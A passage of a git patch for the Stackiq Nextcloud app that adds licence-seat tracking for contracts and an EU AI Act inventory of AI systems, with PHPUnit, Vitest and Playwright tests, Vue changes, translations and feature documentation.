FUNCTION handler because a header action's `navigate` keyword only pushes + * a route inside this app's router, which cannot leave the app. + * + * @param {{generateUrl: function(string): string, assign: function(string): void}} deps Builds the instance URL and navigates to it. + * @return {{openIntegriqConnections: function(): void}} The handler, keyed by its manifest name. + * @spec openspec/changes/adopt-connection-registry/specs/admin-integrations/spec.md#requirement-req-stackiq-conn-003-an-admin-reads-the-connections-on-an-integrations-page + */ +export function createConnectionHandlers({ generateUrl, assign }) { + return { + /** + * Open integriq's Connections overview on the link-a-source dialog. + * + * @return {void} + * @spec openspec/changes/adopt-connection-registry/specs/admin-integrations/spec.md#requirement-req-stackiq-conn-003-an-admin-reads-the-connections-on-an-integrations-page + */ + openIntegriqConnections() { + assign(generateUrl(INTEGRIQ_CONNECTIONS_PATH)) + }, + } +} diff --git a/src/views/settings/sections/EmailConfiguration.vue b/src/views/settings/sections/EmailConfiguration.vue index 61e255b9e..4ac71bb1a 100644 --- a/src/views/settings/sections/EmailConfiguration.vue +++ b/src/views/settings/sections/EmailConfiguration.vue @@ -18,6 +18,7 @@ @@ -166,8 +218,11 @@ import { perOrganisationPosture, perVendorRollup, portfolioPosture, + SEAT_STATE, + seatRows, } from '../utils/licensePosture.js' import { resolveUuid } from '../utils/lifecyclePhase.js' +import { licenceMetricLabel, seatStateLabel } from '../utils/seatLabels.js' /** * @class LicensePostureView @@ -253,6 +308,28 @@ export default { return objectStore.getCollection('catalogContract')?.results || [] }, + /** + * The Seats section rows, names resolved and labels translated. + * + * @return {Array} One row per counted licence contract, over-licence first. + * @spec openspec/specs/licence-seats/spec.md#requirement-req-lsc-003-the-license-posture-page-shall-list-every-counted-licence-contract-with-its-seat-state-over-use-first + */ + seatTableRows() { + return seatRows(this.contracts, this.usages).map((row) => ({ + ...row, + applicationName: + this.moduleNameIndex[row.moduleId] + || row.contractNumber + || t('stackiq', 'Contract'), + organisationName: this.organisatieIndex[row.consumerId] || '', + metricLabel: licenceMetricLabel(row.metric), + boughtLabel: row.bought.toLocaleString(), + inUseLabel: row.inUse === null ? '' : row.inUse.toLocaleString(), + stateLabel: seatStateLabel(row), + isOver: row.state === SEAT_STATE.OVER, + })) + }, + /** * Organisation UUID → display name. * @@ -544,6 +621,10 @@ export default { font-size: 13px; } +.pv-row--over td { + color: var(--color-error-text); +} + .pv-table { width: 100%; border-collapse: collapse; diff --git a/tests/Unit/Settings/LicenceSeatsDeclarationTest.php b/tests/Unit/Settings/LicenceSeatsDeclarationTest.php new file mode 100644 index 000000000..5d41dcb05 --- /dev/null +++ b/tests/Unit/Settings/LicenceSeatsDeclarationTest.php @@ -0,0 +1,105 @@ + + * @copyright 2026 Conduction B.V. + * @license EUPL-1.2 https://joinup.ec.europa.eu/collection/eupl/eupl-text-eupl-12 + * + * @link https://conduction.nl + * + * @spec openspec/specs/licence-seats/spec.md#requirement-req-lsc-001-a-contract-shall-record-its-licence-metric-and-the-number-of-licences-bought-and-in-use + * + * SPDX-FileCopyrightText: 2026 Conduction B.V. + * SPDX-License-Identifier: EUPL-1.2 + */ + +declare(strict_types=1); + +namespace OCA\Stackiq\Tests\Unit\Settings; + +use OCA\Stackiq\Service\SettingsService; +use PHPUnit\Framework\TestCase; +use ReflectionMethod; + +/** + * Merges the register.d fragment into the monolith with SettingsService's own + * merge, the one loadSettings() runs before the import. + * + * @coversNothing + */ +class LicenceSeatsDeclarationTest extends TestCase { + + /** + * The catalogContract schema after the fragment is merged in. + * + * @return array The schema. + */ + private function contractSchema(): array { + $dir = __DIR__ . '/../../../lib/Settings'; + $base = json_decode((string) file_get_contents($dir . '/softwarecatalogus_register.json'), true); + $fragment = json_decode((string) file_get_contents($dir . '/register.d/contracts-licence-seats.json'), true); + + $merge = new ReflectionMethod(SettingsService::class, 'deepMergeConfig'); + $merged = $merge->invoke(null, $base, $fragment); + + return $merged['components']['schemas']['catalogContract']; + }//end contractSchema() + + /** + * The metric carries the six values of the spec. + * + * @return void + */ + public function testTheMetricCarriesSixValues(): void { + $metric = $this->contractSchema()['properties']['licenceMetric']; + + $this->assertSame('string', $metric['type']); + $this->assertSame( + ['Per named user', 'Per concurrent user', 'Per device', 'Per inhabitant', 'Per organisation', 'Other'], + $metric['enum'] + ); + $this->assertSame($metric['enum'], array_keys($metric['x-enum-labels'])); + }//end testTheMetricCarriesSixValues() + + /** + * Both counts are whole numbers of at least 0, and none of the three is required. + * + * @return void + */ + public function testBothCountsAreWholeNumbersOfAtLeastZero(): void { + $schema = $this->contractSchema(); + foreach (['licencesBought', 'licencesInUse'] as $field) { + $this->assertSame('integer', $schema['properties'][$field]['type'], $field); + $this->assertSame(0, $schema['properties'][$field]['minimum'], $field); + } + + $required = ($schema['required'] ?? []); + $this->assertSame([], array_values(array_intersect(['licenceMetric', 'licencesBought', 'licencesInUse'], $required))); + }//end testBothCountsAreWholeNumbersOfAtLeastZero() + + /** + * The merge keeps every existing contract property. + * + * @return void + */ + public function testTheMergeKeepsTheExistingProperties(): void { + $schema = $this->contractSchema(); + foreach (['contractType', 'cost', 'usage', 'status'] as $field) { + $this->assertArrayHasKey($field, $schema['properties'], $field); + } + }//end testTheMergeKeepsTheExistingProperties() + + /** + * The schema version moves above the version before this change. + * + * @return void + */ + public function testTheSchemaVersionMovesUp(): void { + $this->assertTrue(version_compare($this->contractSchema()['version'], '0.1.2', '>')); + }//end testTheSchemaVersionMovesUp() +}//end class diff --git a/tests/e2e/spec-coverage/licence-seats.spec.ts b/tests/e2e/spec-coverage/licence-seats.spec.ts new file mode 100644 index 000000000..2ae206e2b --- /dev/null +++ b/tests/e2e/spec-coverage/licence-seats.spec.ts @@ -0,0 +1,128 @@ +// SPDX-License-Identifier: EUPL-1.2 +// SPDX-FileCopyrightText: 2026 Conduction B.V. +/** + * Licence seats: a licence contract records its metric and its counts, the + * contract page sets licences in use against licences bought, and the License + * posture page lists the contracts over their licence first. + * + * Seeds two contracts through the OpenRegister objects API (the same call the + * contract form makes) and removes them afterwards. The seat maths and the + * uncounted metrics are covered by tests/vitest/licenceSeats.spec.js. + * + * @spec openspec/specs/licence-seats/spec.md + */ +import type { Page } from '@playwright/test' + +import { expect, test } from '@playwright/test' +import { collectAppErrors, expectNoAppErrors, gotoAppRoute } from './_helpers.ts' + +const OBJECTS = '/index.php/apps/openregister/api/objects/stackiq/catalogContract' + +/** + * The request token of the loaded app page, which every write needs. + * + * @param page The page. + * @return The token. + */ +async function requestToken(page: Page): Promise { + return page.evaluate( + () => + (window as unknown as { OC?: { requestToken?: string } }).OC + ?.requestToken ?? '', + ) +} + +/** + * Create one licence contract and return its id. + * + * @param page The page. + * @param fields The contract fields. + * @return The new contract id. + */ +async function createContract( + page: Page, + fields: Record, +): Promise { + const res = await page.request.post(OBJECTS, { + headers: { requesttoken: await requestToken(page) }, + data: { contractType: 'Licence', status: 'Active', ...fields }, + }) + expect(res.ok(), await res.text()).toBe(true) + const body = await res.json() + return String(body.id ?? body['@self']?.id) +} + +test.describe('licence seats', () => { + const created: string[] = [] + + test.afterEach(async ({ page }) => { + const token = await requestToken(page).catch(() => '') + for (const id of created.splice(0)) { + await page.request + .delete(`${OBJECTS}/${id}`, { headers: { requesttoken: token } }) + .catch(() => {}) + } + }) + + // @e2e licence-seats::an-application-owner-records-a-user-licence + // @e2e licence-seats::use-over-the-licence-is-flagged + test('the contract page reads Over licence by 60 with the metric and both counts', async ({ + page, + }) => { + const bag = collectAppErrors(page) + await gotoAppRoute(page, '/contracten') + const id = await createContract(page, { + contractNumber: 'e2e-seats-over', + licenceMetric: 'Per named user', + licencesBought: 400, + licencesInUse: 460, + }) + created.push(id) + + await gotoAppRoute(page, `/contracten/${id}`) + const panel = page.getByTestId('contract-seats-panel') + await expect(panel).toBeVisible({ timeout: 30000 }) + await expect(page.getByTestId('contract-seats-state')).toHaveText( + /Over licence by 60/, + ) + await expect(panel).toContainText('Per named user') + await expect(panel).toContainText('400') + await expect(panel).toContainText('460') + await expect(panel.locator('.cn-progress-bar')).toBeVisible() + expectNoAppErrors(bag) + }) + + // @e2e licence-seats::an-information-manager-finds-the-contracts-over-their-licence + test('the Seats section lists the over-licence contract first', async ({ + page, + }) => { + await gotoAppRoute(page, '/contracten') + created.push( + await createContract(page, { + contractNumber: 'e2e-seats-within', + licenceMetric: 'Per device', + licencesBought: 100, + licencesInUse: 50, + }), + ) + created.push( + await createContract(page, { + contractNumber: 'e2e-seats-over', + licenceMetric: 'Per named user', + licencesBought: 400, + licencesInUse: 460, + }), + ) + + await gotoAppRoute(page, '/license-posture') + const rows = page + .getByTestId('posture-seats') + .getByTestId('posture-seat-row') + await expect(rows.first()).toContainText('Over licence by 60', { + timeout: 30000, + }) + await expect( + rows.filter({ hasText: 'Within licence' }).first(), + ).toBeVisible() + }) +}) diff --git a/tests/vitest/licenceSeats.spec.js b/tests/vitest/licenceSeats.spec.js new file mode 100644 index 000000000..6835ebbc4 --- /dev/null +++ b/tests/vitest/licenceSeats.spec.js @@ -0,0 +1,201 @@ +/** + * Licence seats: the seat position of one contract, the Seats rows of the + * License posture page, and the seeded contracts validated against the real + * catalogContract schema (the monolith with the register.d fragment merged in, + * the way SettingsService::loadSettings() merges it). + * + * @spec openspec/specs/licence-seats/spec.md + */ + +import Ajv2020 from 'ajv/dist/2020.js' +import { describe, expect, it } from 'vitest' +import fragment from '../../lib/Settings/register.d/contracts-licence-seats.json' +import register from '../../lib/Settings/softwarecatalogus_register.json' +import mock from '../../lib/Settings/stackiq_mock_register.json' +import { + SEAT_STATE, + seatPosition, + seatRows, +} from '../../src/utils/licensePosture.js' + +const SEAT_FIELDS = ['licenceMetric', 'licencesBought', 'licencesInUse'] + +/** + * The catalogContract properties as the import sees them: monolith plus fragment. + * + * @return {object} Property name to property schema. + */ +function contractProperties() { + return { + ...register.components.schemas.catalogContract.properties, + ...fragment.components.schemas.catalogContract.properties, + } +} + +/** + * A validator for the seat fields of a contract, built from the real properties. + * + * @return {Function} The compiled Ajv validator. + */ +function compileSeatFields() { + const props = contractProperties() + const ajv = new Ajv2020({ allErrors: true, strict: false }) + return ajv.compile({ + type: 'object', + properties: Object.fromEntries( + SEAT_FIELDS.map((f) => [ + f, + { + type: props[f].type, + enum: props[f].enum, + minimum: props[f].minimum, + }, + ]), + ), + }) +} + +function contract(id, fields, usage = '') { + return { + id, + contractNumber: id, + contractType: 'Licence', + usage, + ...fields, + } +} + +describe('seatPosition', () => { + it('flags 460 in use against 400 bought as over by 60', () => { + const p = seatPosition( + contract('c1', { + licenceMetric: 'Per named user', + licencesBought: 400, + licencesInUse: 460, + }), + ) + expect(p.state).toBe(SEAT_STATE.OVER) + expect(p.over).toBe(60) + }) + + it('reads use at or under what was bought as within', () => { + const p = seatPosition( + contract('c1', { + licenceMetric: 'Per inhabitant', + licencesBought: 58000, + licencesInUse: 58000, + }), + ) + expect(p.state).toBe(SEAT_STATE.WITHIN) + expect(p.over).toBe(0) + }) + + it('does not count Per organisation or Other', () => { + for (const metric of ['Per organisation', 'Other']) { + const p = seatPosition( + contract('c1', { + licenceMetric: metric, + licencesBought: 1, + licencesInUse: 5, + }), + ) + expect(p.state).toBe(SEAT_STATE.NOT_COUNTED) + } + }) + + it('is unknown when a count is empty', () => { + const p = seatPosition( + contract('c1', { licenceMetric: 'Per device', licencesBought: 10 }), + ) + expect(p.state).toBe(SEAT_STATE.UNKNOWN) + }) +}) + +describe('seatRows', () => { + const usages = [ + { id: 'u1', module: 'm1', consumer: 'o1' }, + { id: 'u2', module: 'm2', consumer: 'o2' }, + ] + + it('puts over-licence rows first, most over first, and leaves uncounted contracts out', () => { + const rows = seatRows( + [ + contract( + 'within', + { + licenceMetric: 'Per device', + licencesBought: 10, + licencesInUse: 5, + }, + 'u1', + ), + contract( + 'over10', + { + licenceMetric: 'Per device', + licencesBought: 10, + licencesInUse: 20, + }, + 'u1', + ), + contract( + 'over60', + { + licenceMetric: 'Per named user', + licencesBought: 400, + licencesInUse: 460, + }, + 'u2', + ), + contract( + 'site', + { + licenceMetric: 'Per organisation', + licencesBought: 1, + licencesInUse: 1, + }, + 'u1', + ), + contract('sla', {}, 'u1'), + contract( + 'noBought', + { licenceMetric: 'Per device', licencesInUse: 3 }, + 'u1', + ), + ], + usages, + ) + expect(rows.map((r) => r.contractId)).toEqual(['over60', 'over10', 'within']) + expect(rows[0]).toMatchObject({ moduleId: 'm2', consumerId: 'o2', over: 60 }) + }) +}) + +describe('the catalogContract schema and the seeded contracts', () => { + it('declares the metric with six values and two whole counts of at least 0', () => { + const props = contractProperties() + expect(props.licenceMetric.enum).toHaveLength(6) + for (const f of ['licencesBought', 'licencesInUse']) { + expect(props[f]).toMatchObject({ type: 'integer', minimum: 0 }) + } + }) + + it('refuses a negative count', () => { + const validate = compileSeatFields() + expect(validate({ licencesBought: -5 })).toBe(false) + }) + + it('seeds one over-licence and one within-licence contract that the real schema accepts', () => { + const validate = compileSeatFields() + const seeded = mock.components.objects.filter( + (o) => + o['@self'].register === 'stackiq' + && o['@self'].schema === 'catalogContract' + && o.licenceMetric !== undefined, + ) + for (const o of seeded) { + expect(validate(o), JSON.stringify(validate.errors)).toBe(true) + } + const states = seeded.map((o) => seatPosition(o).state).sort() + expect(states).toEqual([SEAT_STATE.OVER, SEAT_STATE.WITHIN]) + }) +}) diff --git a/tests/vitest/licenceSeatsLabels.spec.js b/tests/vitest/licenceSeatsLabels.spec.js new file mode 100644 index 000000000..6560c581e --- /dev/null +++ b/tests/vitest/licenceSeatsLabels.spec.js @@ -0,0 +1,73 @@ +/** + * The words of the seats panel and the Seats section, and the wiring that puts + * the panel on the contract page and the section on the License posture page. + * + * @spec openspec/specs/licence-seats/spec.md#requirement-req-lsc-002-the-contract-detail-page-must-show-licences-in-use-against-licences-bought + */ + +import * as fs from 'fs' +import { describe, expect, it } from 'vitest' +import en from '../../l10n/en.json' +import nl from '../../l10n/nl.json' +import manifest from '../../src/manifest.json' +import { SEAT_STATE } from '../../src/utils/licensePosture.js' +import { licenceMetricLabel, seatStateLabel } from '../../src/utils/seatLabels.js' + +const read = (p) => fs.readFileSync(new URL(p, import.meta.url), 'utf8') + +describe('seat labels', () => { + it('reads Over licence by 60 for a contract 60 over', () => { + expect(seatStateLabel({ state: SEAT_STATE.OVER, over: 60 })).toBe( + 'Over licence by 60', + ) + }) + + it('names every other state', () => { + expect(seatStateLabel({ state: SEAT_STATE.WITHIN })).toBe('Within licence') + expect(seatStateLabel({ state: SEAT_STATE.NOT_COUNTED })).toBe('Not counted') + expect(seatStateLabel({ state: SEAT_STATE.UNKNOWN })).toBe('Unknown') + }) + + it('names a metric and has a Dutch word for every metric and state', () => { + expect(licenceMetricLabel('Per named user')).toBe('Per named user') + for (const key of [ + 'Per named user', + 'Per concurrent user', + 'Per device', + 'Per inhabitant', + 'Per organisation', + 'Other', + 'Within licence', + 'Over licence by {count}', + 'Not counted', + 'Seats', + 'Licences', + 'Licence metric', + 'Licences bought', + 'Licences in use', + ]) { + expect(en.translations[key], key).toBe(key) + expect(nl.translations[key], key).toBeTruthy() + expect(nl.translations[key], key).not.toBe(key) + } + }) +}) + +describe('wiring', () => { + it('puts the seats panel on the contract page', () => { + const page = manifest.pages.find((p) => p.id === 'ContractDetail') + const widget = page.config.bodyWidgets.find( + (w) => w.component === 'ContractSeatsPanel', + ) + expect(widget?.props?.objectId).toBe('@objectId') + expect(read('../../src/customComponents.js')).toMatch( + /^\tContractSeatsPanel,$/m, + ) + }) + + it('shows the Seats section on the License posture page from seatRows()', () => { + const view = read('../../src/views/LicensePostureView.vue') + expect(view).toContain('data-testid="posture-seats"') + expect(view).toMatch(/seatRows\(this\.contracts, this\.usages\)/) + }) +}) From f280e80759ddf75bb9e34c52c37e810596a1d63f Mon Sep 17 00:00:00 2001 From: Ruben van der Linde Date: Tue, 29 Sep 2026 21:21:24 +0200 Subject: [PATCH 054/176] feat(ai-systems): register the AI systems you use and see the high-risk ones without a FRIA (#1191) * test(ai-systems): the aiSystem schema, pages, checklist and seeds, red before the change * feat(ai-systems): register the AI systems you use and see the high-risk ones without a FRIA * docs(openspec): archive landscape-ai-system-inventory, two rows are built * fix(ai-systems): the aiSystem schema lives in the register itself, three demo systems, formatters in their own module * fix(ai-systems): seed the demo AI systems for both registers, as gate 101 counts them --- docs/features/ai-systems.md | 45 ++ l10n/en.js | 50 ++- l10n/en.json | 50 ++- l10n/nl.js | 49 ++- l10n/nl.json | 49 ++- lib/Settings/softwarecatalogus_register.json | 320 +++++++++++++- lib/Settings/stackiq_mock_register.json | 409 ++++++++++++++++++ .../.openspec.yaml | 0 .../design.md | 4 +- .../proposal.md | 0 .../specs/ai-system-inventory/spec.md | 0 .../tasks.md | 27 +- openspec/parity/capabilities.json | 32 +- openspec/specs/ai-system-inventory/spec.md | 40 ++ src/App.vue | 4 + src/components/ai/AiActChecklist.vue | 241 +++++++++++ src/customComponents.js | 5 + src/formatters.js | 14 + src/icons.js | 2 + src/manifest.d/ai-systems.json | 78 ++++ src/manifest.json | 6 +- src/utils/aiAct.js | 67 +++ tests/Unit/Settings/AiSystemFragmentTest.php | 171 ++++++++ tests/e2e/workflows/ai-systems.spec.ts | 129 ++++++ tests/vitest/aiSystems.spec.js | 230 ++++++++++ tests/vitest/connectionRegistry.spec.js | 14 +- 26 files changed, 1999 insertions(+), 37 deletions(-) create mode 100644 docs/features/ai-systems.md rename openspec/changes/{landscape-ai-system-inventory => archive/2026-09-29-landscape-ai-system-inventory}/.openspec.yaml (100%) rename openspec/changes/{landscape-ai-system-inventory => archive/2026-09-29-landscape-ai-system-inventory}/design.md (87%) rename openspec/changes/{landscape-ai-system-inventory => archive/2026-09-29-landscape-ai-system-inventory}/proposal.md (100%) rename openspec/changes/{landscape-ai-system-inventory => archive/2026-09-29-landscape-ai-system-inventory}/specs/ai-system-inventory/spec.md (100%) rename openspec/changes/{landscape-ai-system-inventory => archive/2026-09-29-landscape-ai-system-inventory}/tasks.md (57%) create mode 100644 openspec/specs/ai-system-inventory/spec.md create mode 100644 src/components/ai/AiActChecklist.vue create mode 100644 src/formatters.js create mode 100644 src/manifest.d/ai-systems.json create mode 100644 src/utils/aiAct.js create mode 100644 tests/Unit/Settings/AiSystemFragmentTest.php create mode 100644 tests/e2e/workflows/ai-systems.spec.ts create mode 100644 tests/vitest/aiSystems.spec.js diff --git a/docs/features/ai-systems.md b/docs/features/ai-systems.md new file mode 100644 index 000000000..55c948745 --- /dev/null +++ b/docs/features/ai-systems.md @@ -0,0 +1,45 @@ + + +# AI systems + +An AI system is an AI agent, an AI model or an AI feature that your organisation uses. You register it next to the application it runs in, classify it under the EU AI Act, and keep the documents the act asks for. + +Specification: [`openspec/specs/ai-system-inventory/spec.md`](https://github.com/ConductionNL/stackiq/blob/development/openspec/specs/ai-system-inventory/spec.md). + +## Registering an AI system + +Open **Applications** in the navigation menu, then **AI systems**, and click **Add**. Fill in: + +- **Name** and **Description**. +- **Kind**: an AI agent acts on its own, an AI model is a trained model, an AI feature is part of an application. +- **Application**: the application it runs in or supports. +- **Supplier** and **Purpose**: who supplies it and what it decides, recommends or produces. + +The page of the application shows its AI systems in the **AI systems** section. + +## Classifying it under the AI Act + +Each AI system records: + +- **AI Act risk category**: prohibited, high risk, limited risk, minimal risk, or not yet assessed. A new system starts as not yet assessed. +- **Role under the AI Act**: provider or deployer. +- **Last assessed on** and the **Algorithm register entry**, the link to the system in the Dutch algorithm register. + +The category is your organisation's own classification. Stackiq records it; it does not decide it. + +## Evidence + +Attach documents to the AI system under **Documents** and tag each one: FRIA (fundamental rights impact assessment), Technical documentation, Human oversight or Logging. The **AI Act evidence** panel on the page lists the four tags and shows which have a document. + +Fill in **Fundamental rights impact assessment** with a reference to the FRIA. A high-risk AI system without one: + +- reads **FRIA missing** in the list, +- shows a warning on its page, +- and appears under the **High risk without FRIA** filter above the list. + +The other filters above the list select one risk category each. + +Screenshots follow once the feature runs on the demo instance. diff --git a/l10n/en.js b/l10n/en.js index 9256fd62f..ef51efbdd 100644 --- a/l10n/en.js +++ b/l10n/en.js @@ -770,7 +770,55 @@ OC.L10N.register( "To national provision": "To national provision", "From application": "From application", "No connections start at this application": "No connections start at this application", - "No connections end at this application": "No connections end at this application" + "No connections end at this application": "No connections end at this application", + "AI system": "AI system", + "An AI agent, AI model or AI feature the organisation uses, with its EU AI Act classification.": "An AI agent, AI model or AI feature the organisation uses, with its EU AI Act classification.", + "The name the organisation uses for this AI system.": "The name the organisation uses for this AI system.", + "What the AI system is and how it is used.": "What the AI system is and how it is used.", + "Kind": "Kind", + "An AI agent acts on its own, an AI model is a trained model, an AI feature is part of an application.": "An AI agent acts on its own, an AI model is a trained model, an AI feature is part of an application.", + "AI agent": "AI agent", + "AI model": "AI model", + "AI feature": "AI feature", + "The application this AI system runs in or supports.": "The application this AI system runs in or supports.", + "The organisation that supplies the AI system.": "The organisation that supplies the AI system.", + "Purpose": "Purpose", + "What the AI system decides, recommends or produces.": "What the AI system decides, recommends or produces.", + "AI Act risk category": "AI Act risk category", + "The risk category under the EU AI Act, as the organisation classified it.": "The risk category under the EU AI Act, as the organisation classified it.", + "Prohibited": "Prohibited", + "High risk": "High risk", + "Limited risk": "Limited risk", + "Minimal risk": "Minimal risk", + "Not yet assessed": "Not yet assessed", + "Role under the AI Act": "Role under the AI Act", + "Whether the organisation provides the AI system or deploys it.": "Whether the organisation provides the AI system or deploys it.", + "Deployer": "Deployer", + "Algorithm register entry": "Algorithm register entry", + "The link to this system in the Dutch algorithm register.": "The link to this system in the Dutch algorithm register.", + "Last assessed on": "Last assessed on", + "The date the classification was last assessed.": "The date the classification was last assessed.", + "Fundamental rights impact assessment": "Fundamental rights impact assessment", + "A reference to the fundamental rights impact assessment (FRIA). A high-risk system without one is flagged.": "A reference to the fundamental rights impact assessment (FRIA). A high-risk system without one is flagged.", + "Where the AI system stands in its lifecycle.": "Where the AI system stands in its lifecycle.", + "AI Act evidence": "AI Act evidence", + "Attach a document under Documents and give it the matching tag.": "Attach a document under Documents and give it the matching tag.", + "FRIA missing": "FRIA missing", + "Fundamental rights impact assessment (FRIA)": "Fundamental rights impact assessment (FRIA)", + "Human oversight": "Human oversight", + "Loading the evidence": "Loading the evidence", + "Logging": "Logging", + "Missing": "Missing", + "Technical documentation": "Technical documentation", + "The evidence could not be loaded.": "The evidence could not be loaded.", + "This is a high-risk AI system without a fundamental rights impact assessment.": "This is a high-risk AI system without a fundamental rights impact assessment.", + "AI systems": "AI systems", + "The AI agents, AI models and AI features your organisation uses, with their EU AI Act risk category.": "The AI agents, AI models and AI features your organisation uses, with their EU AI Act risk category.", + "FRIA": "FRIA", + "High risk without FRIA": "High risk without FRIA", + "Application and supplier": "Application and supplier", + "History": "History", + "No AI systems registered for this application": "No AI systems registered for this application" }, "nplurals=2; plural=(n != 1);" ) diff --git a/l10n/en.json b/l10n/en.json index bc3038141..fee62e120 100644 --- a/l10n/en.json +++ b/l10n/en.json @@ -769,6 +769,54 @@ "To national provision": "To national provision", "From application": "From application", "No connections start at this application": "No connections start at this application", - "No connections end at this application": "No connections end at this application" + "No connections end at this application": "No connections end at this application", + "AI system": "AI system", + "An AI agent, AI model or AI feature the organisation uses, with its EU AI Act classification.": "An AI agent, AI model or AI feature the organisation uses, with its EU AI Act classification.", + "The name the organisation uses for this AI system.": "The name the organisation uses for this AI system.", + "What the AI system is and how it is used.": "What the AI system is and how it is used.", + "Kind": "Kind", + "An AI agent acts on its own, an AI model is a trained model, an AI feature is part of an application.": "An AI agent acts on its own, an AI model is a trained model, an AI feature is part of an application.", + "AI agent": "AI agent", + "AI model": "AI model", + "AI feature": "AI feature", + "The application this AI system runs in or supports.": "The application this AI system runs in or supports.", + "The organisation that supplies the AI system.": "The organisation that supplies the AI system.", + "Purpose": "Purpose", + "What the AI system decides, recommends or produces.": "What the AI system decides, recommends or produces.", + "AI Act risk category": "AI Act risk category", + "The risk category under the EU AI Act, as the organisation classified it.": "The risk category under the EU AI Act, as the organisation classified it.", + "Prohibited": "Prohibited", + "High risk": "High risk", + "Limited risk": "Limited risk", + "Minimal risk": "Minimal risk", + "Not yet assessed": "Not yet assessed", + "Role under the AI Act": "Role under the AI Act", + "Whether the organisation provides the AI system or deploys it.": "Whether the organisation provides the AI system or deploys it.", + "Deployer": "Deployer", + "Algorithm register entry": "Algorithm register entry", + "The link to this system in the Dutch algorithm register.": "The link to this system in the Dutch algorithm register.", + "Last assessed on": "Last assessed on", + "The date the classification was last assessed.": "The date the classification was last assessed.", + "Fundamental rights impact assessment": "Fundamental rights impact assessment", + "A reference to the fundamental rights impact assessment (FRIA). A high-risk system without one is flagged.": "A reference to the fundamental rights impact assessment (FRIA). A high-risk system without one is flagged.", + "Where the AI system stands in its lifecycle.": "Where the AI system stands in its lifecycle.", + "AI Act evidence": "AI Act evidence", + "Attach a document under Documents and give it the matching tag.": "Attach a document under Documents and give it the matching tag.", + "FRIA missing": "FRIA missing", + "Fundamental rights impact assessment (FRIA)": "Fundamental rights impact assessment (FRIA)", + "Human oversight": "Human oversight", + "Loading the evidence": "Loading the evidence", + "Logging": "Logging", + "Missing": "Missing", + "Technical documentation": "Technical documentation", + "The evidence could not be loaded.": "The evidence could not be loaded.", + "This is a high-risk AI system without a fundamental rights impact assessment.": "This is a high-risk AI system without a fundamental rights impact assessment.", + "AI systems": "AI systems", + "The AI agents, AI models and AI features your organisation uses, with their EU AI Act risk category.": "The AI agents, AI models and AI features your organisation uses, with their EU AI Act risk category.", + "FRIA": "FRIA", + "High risk without FRIA": "High risk without FRIA", + "Application and supplier": "Application and supplier", + "History": "History", + "No AI systems registered for this application": "No AI systems registered for this application" } } diff --git a/l10n/nl.js b/l10n/nl.js index e5e393e6e..69d5e47a4 100644 --- a/l10n/nl.js +++ b/l10n/nl.js @@ -841,7 +841,54 @@ OC.L10N.register( "To national provision": "Naar landelijke voorziening", "From application": "Van applicatie", "No connections start at this application": "Er beginnen geen koppelingen bij deze applicatie", - "No connections end at this application": "Er eindigen geen koppelingen bij deze applicatie" + "No connections end at this application": "Er eindigen geen koppelingen bij deze applicatie", + "AI system": "AI-systeem", + "An AI agent, AI model or AI feature the organisation uses, with its EU AI Act classification.": "Een AI-agent, AI-model of AI-functie die de organisatie gebruikt, met de indeling onder de Europese AI-verordening.", + "The name the organisation uses for this AI system.": "De naam die de organisatie voor dit AI-systeem gebruikt.", + "What the AI system is and how it is used.": "Wat het AI-systeem is en hoe het wordt gebruikt.", + "Kind": "Soort", + "An AI agent acts on its own, an AI model is a trained model, an AI feature is part of an application.": "Een AI-agent handelt zelfstandig, een AI-model is een getraind model, een AI-functie is onderdeel van een applicatie.", + "AI agent": "AI-agent", + "AI model": "AI-model", + "AI feature": "AI-functie", + "The application this AI system runs in or supports.": "De applicatie waarin dit AI-systeem draait of die het ondersteunt.", + "The organisation that supplies the AI system.": "De organisatie die het AI-systeem levert.", + "Purpose": "Doel", + "What the AI system decides, recommends or produces.": "Wat het AI-systeem beslist, adviseert of maakt.", + "AI Act risk category": "Risicocategorie AI-verordening", + "The risk category under the EU AI Act, as the organisation classified it.": "De risicocategorie onder de Europese AI-verordening, zoals de organisatie die heeft vastgesteld.", + "Prohibited": "Verboden", + "High risk": "Hoog risico", + "Limited risk": "Beperkt risico", + "Minimal risk": "Minimaal risico", + "Not yet assessed": "Nog niet beoordeeld", + "Role under the AI Act": "Rol onder de AI-verordening", + "Whether the organisation provides the AI system or deploys it.": "Of de organisatie het AI-systeem aanbiedt of gebruikt.", + "Deployer": "Gebruiksverantwoordelijke", + "Algorithm register entry": "Vermelding in het algoritmeregister", + "The link to this system in the Dutch algorithm register.": "De link naar dit systeem in het Algoritmeregister van de Nederlandse overheid.", + "Last assessed on": "Laatst beoordeeld op", + "The date the classification was last assessed.": "De datum waarop de indeling voor het laatst is beoordeeld.", + "Fundamental rights impact assessment": "Grondrechteneffectbeoordeling", + "A reference to the fundamental rights impact assessment (FRIA). A high-risk system without one is flagged.": "Een verwijzing naar de grondrechteneffectbeoordeling (FRIA). Een systeem met hoog risico zonder beoordeling krijgt een waarschuwing.", + "Where the AI system stands in its lifecycle.": "Waar het AI-systeem staat in zijn levenscyclus.", + "AI Act evidence": "Bewijs voor de AI-verordening", + "Attach a document under Documents and give it the matching tag.": "Voeg een document toe onder Documenten en geef het de passende tag.", + "FRIA missing": "FRIA ontbreekt", + "Fundamental rights impact assessment (FRIA)": "Grondrechteneffectbeoordeling (FRIA)", + "Human oversight": "Menselijk toezicht", + "Loading the evidence": "Het bewijs wordt geladen", + "Logging": "Logging", + "Missing": "Ontbreekt", + "Technical documentation": "Technische documentatie", + "The evidence could not be loaded.": "Het bewijs kon niet worden geladen.", + "This is a high-risk AI system without a fundamental rights impact assessment.": "Dit is een AI-systeem met hoog risico zonder grondrechteneffectbeoordeling.", + "AI systems": "AI-systemen", + "The AI agents, AI models and AI features your organisation uses, with their EU AI Act risk category.": "De AI-agents, AI-modellen en AI-functies die je organisatie gebruikt, met hun risicocategorie onder de Europese AI-verordening.", + "FRIA": "FRIA", + "High risk without FRIA": "Hoog risico zonder FRIA", + "Application and supplier": "Applicatie en leverancier", + "No AI systems registered for this application": "Nog geen AI-systemen geregistreerd voor deze applicatie" }, "nplurals=2; plural=(n != 1);" ) diff --git a/l10n/nl.json b/l10n/nl.json index 5bddd25da..2342bd68e 100644 --- a/l10n/nl.json +++ b/l10n/nl.json @@ -840,6 +840,53 @@ "To national provision": "Naar landelijke voorziening", "From application": "Van applicatie", "No connections start at this application": "Er beginnen geen koppelingen bij deze applicatie", - "No connections end at this application": "Er eindigen geen koppelingen bij deze applicatie" + "No connections end at this application": "Er eindigen geen koppelingen bij deze applicatie", + "AI system": "AI-systeem", + "An AI agent, AI model or AI feature the organisation 